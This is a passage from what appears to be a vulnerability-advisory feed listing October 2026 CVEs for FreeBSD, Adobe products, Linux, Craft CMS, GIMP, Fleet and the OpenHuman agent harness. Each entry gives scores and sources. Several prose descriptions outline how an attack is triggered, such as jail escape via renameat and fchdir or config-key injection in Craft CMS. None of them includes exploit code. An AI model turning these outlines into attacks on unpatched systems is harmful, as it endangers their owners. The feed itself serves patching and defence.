FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96856&date=2026-10-25
Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When the PCM sample array needs to grow, the RACK stack doubles a 16-bit allocation counter.
https://kevwire.com/record/CVE-2026-101307
When the PCM sample array needs to grow, the RACK stack doubles a 16-bit allocation counter. (Oct 15, 2026).
When the PCM sample array needs to grow, the RACK stack doubles a 16-bit allocation counter.  Repeated doublings caused the counter to wrap to zero, resulting in a near-zero-length allocation followed by a copy of the existing samples into the undersized buffer.  A remote peer can trigger the expansion by sending a sufficient number of ACKs on an established connection.

A remote attacker who can establish a TCP connection to a system using the RACK stack can trigger an out-of-bounds write of approximately 512 KB in the kernel heap possibly resulting in a kernel panic.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101307).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101307&date=2026-10-25).
Sources:
NVD CVE-2026-101307: https://nvd.nist.gov/vuln/detail/CVE-2026-101307
Vendor advisory (via NVD references): https://security.freebsd.org/advisories/FreeBSD-SA-26:70.tcp.asc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101307&date=2026-10-25
When the PCM sample array needs to grow, the RACK stack doubles a 16-bit allocation counter.  Repeated doublings caused the counter to wrap to zero, resulting in a near-zero-length allocation followed by a copy of the existing samples into the undersized buffer.  A remote peer can trigger the expansion by sending a sufficient number of ACKs on an established connection.

A remote attacker who can establish a TCP connection to a system using the RACK stack can trigger an out-of-bounds write of approximately 512 KB in the kernel heap possibly resulting in a kernel panic.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SCM_RIGHTS file descriptor passing did not preserve FD_RESOLVE_BENEATH when a descriptor was transferred.
https://kevwire.com/record/CVE-2026-101306
SCM_RIGHTS file descriptor passing did not preserve FD_RESOLVE_BENEATH when a descriptor was transferred. (Oct 15, 2026).
SCM_RIGHTS file descriptor passing did not preserve FD_RESOLVE_BENEATH when a descriptor was transferred.  A process could clear the restriction by sending the descriptor to itself over a Unix domain socket.

A process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101306).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101306&date=2026-10-25).
Sources:
NVD CVE-2026-101306: https://nvd.nist.gov/vuln/detail/CVE-2026-101306
Vendor advisory (via NVD references): https://security.freebsd.org/advisories/FreeBSD-SA-26:66.jail.asc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101306&date=2026-10-25
SCM_RIGHTS file descriptor passing did not preserve FD_RESOLVE_BENEATH when a descriptor was transferred.  A process could clear the restriction by sending the descriptor to itself over a Unix domain socket.

A process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### renameat(2) did not enforce FD_RESOLVE_BENEATH on its directory arguments.
https://kevwire.com/record/CVE-2026-101305
renameat(2) did not enforce FD_RESOLVE_BENEATH on its directory arguments. (Oct 15, 2026).
renameat(2) did not enforce FD_RESOLVE_BENEATH on its directory arguments.  A jailed process could rename a directory relative to a restricted descriptor, then escape the jail root via fchdir(2).  This requires the directory to reside on a filesystem that is also reachable from the jail's root.

A process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101305).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101305&date=2026-10-25).
Sources:
NVD CVE-2026-101305: https://nvd.nist.gov/vuln/detail/CVE-2026-101305
Vendor advisory (via NVD references): https://security.freebsd.org/advisories/FreeBSD-SA-26:66.jail.asc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101305&date=2026-10-25
renameat(2) did not enforce FD_RESOLVE_BENEATH on its directory arguments.  A jailed process could rename a directory relative to a restricted descriptor, then escape the jail root via fchdir(2).  This requires the directory to reside on a filesystem that is also reachable from the jail's root.

A process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The IPv6 UDP send path for unconnected sockets did not apply the jail policy of rewriting a loopback destination address to the jail's primary IPv6 address.
https://kevwire.com/record/CVE-2026-101303
The IPv6 UDP send path for unconnected sockets did not apply the jail policy of rewriting a loopback destination address to the jail's primary IPv6 address. (Oct 15, 2026).
The IPv6 UDP send path for unconnected sockets did not apply the jail policy of rewriting a loopback destination address to the jail's primary IPv6 address.

A process in a classic (non-VNET) jail can send UDP datagrams to services listening on the host's IPv6 loopback address, bypassing jail network isolation.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101303).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101303&date=2026-10-25).
Sources:
NVD CVE-2026-101303: https://nvd.nist.gov/vuln/detail/CVE-2026-101303
Vendor advisory (via NVD references): https://security.freebsd.org/advisories/FreeBSD-SA-26:69.udp.asc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101303&date=2026-10-25
The IPv6 UDP send path for unconnected sockets did not apply the jail policy of rewriting a loopback destination address to the jail's primary IPv6 address.

A process in a classic (non-VNET) jail can send UDP datagrams to services listening on the host's IPv6 loopback address, bypassing jail network isolation.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Sampler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-83966
Substance3D - Sampler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Sampler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83966).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83966&date=2026-10-25).
Sources:
NVD CVE-2026-83966: https://nvd.nist.gov/vuln/detail/CVE-2026-83966
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-sampler/apsb26-159.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83966&date=2026-10-25
Substance3D - Sampler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Sampler is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-83965
Substance3D - Sampler is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Sampler is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83965).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83965&date=2026-10-25).
Sources:
NVD CVE-2026-83965: https://nvd.nist.gov/vuln/detail/CVE-2026-83965
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-sampler/apsb26-159.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83965&date=2026-10-25
Substance3D - Sampler is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-105899
ColdFusion is affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 10.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105899).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105899&date=2026-10-25).
Sources:
NVD CVE-2026-105899: https://nvd.nist.gov/vuln/detail/CVE-2026-105899
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105899&date=2026-10-25
ColdFusion is affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-105898
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.
CVSS 8.2 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105898).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105898&date=2026-10-25).
Sources:
NVD CVE-2026-105898: https://nvd.nist.gov/vuln/detail/CVE-2026-105898
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105898&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103843
Substance3D - Stager is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Stager is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103843).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103843&date=2026-10-25).
Sources:
NVD CVE-2026-103843: https://nvd.nist.gov/vuln/detail/CVE-2026-103843
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103843&date=2026-10-25
Substance3D - Stager is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure.
https://kevwire.com/record/CVE-2026-103842
Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. (Oct 13, 2026).
Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103842).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103842&date=2026-10-25).
Sources:
NVD CVE-2026-103842: https://nvd.nist.gov/vuln/detail/CVE-2026-103842
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103842&date=2026-10-25
Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure.
https://kevwire.com/record/CVE-2026-103841
Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. (Oct 13, 2026).
Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103841).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103841&date=2026-10-25).
Sources:
NVD CVE-2026-103841: https://nvd.nist.gov/vuln/detail/CVE-2026-103841
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103841&date=2026-10-25
Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure.
https://kevwire.com/record/CVE-2026-103840
Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. (Oct 13, 2026).
Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103840).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103840&date=2026-10-25).
Sources:
NVD CVE-2026-103840: https://nvd.nist.gov/vuln/detail/CVE-2026-103840
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103840&date=2026-10-25
Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: ipv4: validate checksum_start before completing checksum
https://kevwire.com/record/CVE-2026-99999
Linux kernel: ipv4: validate checksum_start before completing checksum (Oct 15, 2026).
In the Linux kernel, the following vulnerability has been resolved:

ipv4: validate checksum_start before completing checksum

If a packet with bad checksum metadata gets into the ipv4 stack,
skb_checksum_help can corrupt the network header and cause a bunch of
mischief.

This was discovered and reported by Paulos, and has been reporoduced
by others independently since.

We really shouldn't allow such packets in, but as a defence
in depth measure, let's also check before we complete the checksum.

A more complete validation at input is forthcoming, but needs more work.
CVSS 9.3 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99999).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99999&date=2026-10-25).
Sources:
NVD CVE-2026-99999: https://nvd.nist.gov/vuln/detail/CVE-2026-99999
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99999&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

ipv4: validate checksum_start before completing checksum

If a packet with bad checksum metadata gets into the ipv4 stack,
skb_checksum_help can corrupt the network header and cause a bunch of
mischief.

This was discovered and reported by Paulos, and has been reporoduced
by others independently since.

We really shouldn't allow such packets in, but as a defence
in depth measure, let's also check before we complete the checksum.

A more complete validation at input is forthcoming, but needs more work.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dell Application Store, versions prior to 26.05.0.7, contain a Missing Authentication for Critical Function vulnerability.
https://kevwire.com/record/CVE-2026-82166
Dell Application Store, versions prior to 26.05.0.7, contain a Missing Authentication for Critical Function vulnerability. (Oct 19, 2026).
Dell Application Store, versions prior to 26.05.0.7, contain a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to arbitrary code execution.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82166).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82166&date=2026-10-25).
Sources:
NVD CVE-2026-82166: https://nvd.nist.gov/vuln/detail/CVE-2026-82166
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82166&date=2026-10-25
Dell Application Store, versions prior to 26.05.0.7, contain a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to arbitrary code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenHuman is an open-source agent harness available as a desktop application and Rust library.
https://kevwire.com/record/CVE-2026-49410
OpenHuman is an open-source agent harness available as a desktop application and Rust library. (Oct 16, 2026).
OpenHuman is an open-source agent harness available as a desktop application and Rust library. Versions before 0.56.0 allow cross-site request forgery against the unauthenticated GET /auth/telegram loopback callback because telegram_auth_handler consumes an attacker-supplied one-time Telegram login token and passes the returned JWT to credentials::ops::store_session without validating browser fetch metadata or the request origin. An attacker with an OpenHuman account can cause a user with the local core running to visit a malicious page that requests the /auth/telegram endpoint on loopback port 7788, switching the user's active local session to the attacker's backend account and exposing subsequent agent actions, memory writes, and Telegram messages associated with that session to the attacker. This issue is fixed in version 0.56.0.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-49410).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-49410&date=2026-10-25).
Sources:
NVD CVE-2026-49410: https://nvd.nist.gov/vuln/detail/CVE-2026-49410
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-49410&date=2026-10-25
OpenHuman is an open-source agent harness available as a desktop application and Rust library. Versions before 0.56.0 allow cross-site request forgery against the unauthenticated GET /auth/telegram loopback callback because telegram_auth_handler consumes an attacker-supplied one-time Telegram login token and passes the returned JWT to credentials::ops::store_session without validating browser fetch metadata or the request origin. An attacker with an OpenHuman account can cause a user with the local core running to visit a malicious page that requests the /auth/telegram endpoint on loopback port 7788, switching the user's active local session to the attacker's backend account and exposing subsequent agent actions, memory writes, and Telegram messages associated with that session to the attacker. This issue is fixed in version 0.56.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox by passing uncleansed...
https://kevwire.com/record/CVE-2026-112773
Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox by passing uncleansed... (Oct 19, 2026).
Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox by passing uncleansed criteria to getNext, getPrev, or getOwners. Attackers can inject Yii "as" or "on" config keys to attach malicious event handlers that execute when the element query runs, achieving code execution as the web user.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112773).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112773&date=2026-10-25).
Sources:
NVD CVE-2026-112773: https://nvd.nist.gov/vuln/detail/CVE-2026-112773
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112773&date=2026-10-25
Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox by passing uncleansed criteria to getNext, getPrev, or getOwners. Attackers can inject Yii "as" or "on" config keys to attach malicious event handlers that execute when the element query runs, achieving code execution as the web user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in GIMP. Opening a crafted XCF with a malformed text-layer parasite can cause a heap out-of-bounds read, disclosing adjacent heap data into layer text and causing...
https://kevwire.com/record/CVE-2026-112260
A flaw was found in GIMP. Opening a crafted XCF with a malformed text-layer parasite can cause a heap out-of-bounds read, disclosing adjacent heap data into layer text and causing... (Oct 19, 2026).
A flaw was found in GIMP. Opening a crafted XCF with a malformed text-layer parasite can cause a heap out-of-bounds read, disclosing adjacent heap data into layer text and causing denial of service.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112260).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112260&date=2026-10-25).
Sources:
NVD CVE-2026-112260: https://nvd.nist.gov/vuln/detail/CVE-2026-112260
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112260&date=2026-10-25
A flaw was found in GIMP. Opening a crafted XCF with a malformed text-layer parasite can cause a heap out-of-bounds read, disclosing adjacent heap data into layer text and causing denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fleet before 4.83.0 contains a denial of service vulnerability that allows unauthenticated attackers to exhaust server memory by sending gzip-compressed request bodies.
https://kevwire.com/record/CVE-2026-111924
Fleet before 4.83.0 contains a denial of service vulnerability that allows unauthenticated attackers to exhaust server memory by sending gzip-compressed request bodies. (Oct 17, 2026).
Fleet before 4.83.0 contains a denial of service vulnerability that allows unauthenticated attackers to exhaust server memory by sending gzip-compressed request bodies. Attackers can send small, highly compressed requests with Content-Encoding: gzip to unauthenticated endpoints that expand during decoding, crashing the entire Fleet instance.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111924).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111924&date=2026-10-25).
Sources:
NVD CVE-2026-111924: https://nvd.nist.gov/vuln/detail/CVE-2026-111924
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111924&date=2026-10-25
